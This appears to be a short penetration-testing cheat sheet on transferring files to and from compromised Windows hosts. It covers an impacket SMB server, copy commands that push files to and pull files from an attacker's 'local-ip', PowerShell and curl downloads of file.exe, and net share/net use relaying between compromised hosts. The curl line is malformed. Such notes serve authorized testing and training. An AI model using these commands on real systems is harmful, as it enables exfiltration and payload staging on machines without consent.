File Transfer
SMB
Using impacket:
# Setup smb share named 'tmp' in current directory with SMB2 support
impacket-smbserver tmp . -smb2support
# From target host to local host:
copy <file> \\local-ip\tmp
# From local host to target host
copy \\local-ip\tmp\file.ps1
PowerShell
Invoke-WebRequest -u 'http://local-ip/file.exe' -o file.exe
Curl
curl http//local-ip/file.exe -o file.exe
Create and use shares
If you cannot reach your own IP, but you have two compromised hosts that can reach each other.
# Create share
net share SHARENAME=C:\PATH\TO\DIRECTORY /GRANT:Everyone,FULL
# Use share
net use Z: \\hostname\sharename /user:username 'password'
Last updated